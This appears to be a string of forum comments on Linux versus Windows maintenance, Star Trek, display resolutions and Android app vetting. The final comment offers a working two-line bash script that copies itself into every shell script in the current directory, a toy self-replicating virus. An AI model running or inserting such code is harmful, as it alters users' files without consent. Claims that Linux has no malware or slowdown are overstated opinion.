While that's true, I don't understand how it relates to what we're discussing?

Then again, this whole thread is attached to a conversation about a collector buying an Apple 1, so off-topic is relative. =)

I guess it comes down to what you run. In Linux, 100.0% of my installs are "apt-get install ", whereas in Windows I never make it through a week without an install consisting of "Open archive in 7zip, copy it to a new folder somewhere, add that folder to the PATH environment variable". And heaven help you if you need to make sure you're running the most up-to-date version of things in Windows.

Even if you're willing to call that a wash, there's still the questions of drivers (everything's already on your system in Linux, and kept up to date through automatic updates), viruses and malware (essentially nonexistent on Linux), and creeping performance degradation (doesn't happen on Linux, requires running defrag and registry cleaning tools to keep Windows from rotting away).

I actually do keep a Windows 7 install running, because one area where Windows is solidly ahead of Linux is third party app support. I like Star Trek Online and Starcraft 2, and I need Microsoft Office and IE, and if I were to try to get all that running in Wine then the whole "waste of time" argument might gain a shadow of validity.

But as far as just keeping the base system and apps functional and up to date so you can get _work_ done, there's just no comparison; if you value your time, choose Linux.

This troll made a lot more sense 7 or 8 years ago when it wasn't much quicker and easier to install and maintain Linux than any other general use system.

Even if you factor out install time (since most people get their Windows and Mac systems preloaded), the time you spend maintaining your system very quickly tilts the balance back in favor of Linux.

Because, obviously, that would be Communism.

The link provided will help spur your memory. =) It happens in Act 1.

Some captains would. http://memory-alpha.org/wiki/Dark_Frontier_(episode)

Hm... how does the system decide which label to apply if you get lots of different moderation types? Is it by the most commonly occurring one ?

I want to get this for my cell phone, so I can pretend I'm Tony Stark. "I need your displays."

True, but B4 definitely is a better example of "Android Fragmentation", at least when they first find him...

FYI, a 40" display at that density and a 16x9 aspect would be on the order of 15938x8977 resolution. Might as well round off an call it 16000x9000. 55" diagonal would have about 21915x12321 resolution. You'd probably need a 2" thick strand of copper to feed it pixels, but man, what a picture...

At warp 9 (STNG scale) it would take round about 8.64 million years to get there.

So it's not like people are picking between Droid and iPhone so it's apples to apples... it's more like iPhone 4 vs Crappy $50 Android Phone. Those aren't technically direct competitors.

If you're an app developer and your app isn't CPU or GPU intensive, the "crappy" $50 Android phone is just as much another potential customer as someone with an Evo or Epic or Droid is.

> There's no vetting process if you can get apps from anywhere

That's just it; there _is_ a vetting process, but it's owned by the users instead of by Google. All the apps in the standard Android market have rating scores that are displayed prominently in the search.

If you want a more institutionalized rating process, there are sites you can _choose_ to use who will do the vetting and filtering of wheat from chaff for you. AppBrain seems to be the most prominent one.

That's the point I think everyone is missing; Google's model and Apple's model aren't mutually exclusive, and in fact Google's model is flexible enough to express Apple's model as one option among many.

Attribution FTW: http://www.ashleighbrilliant.com/

Reasonably safe, gets the point across:

#!/bin/bash
for file in *.sh ; do if ! grep -q fo0z $file ; then grep fo0z $0 >> $file ; fi ; done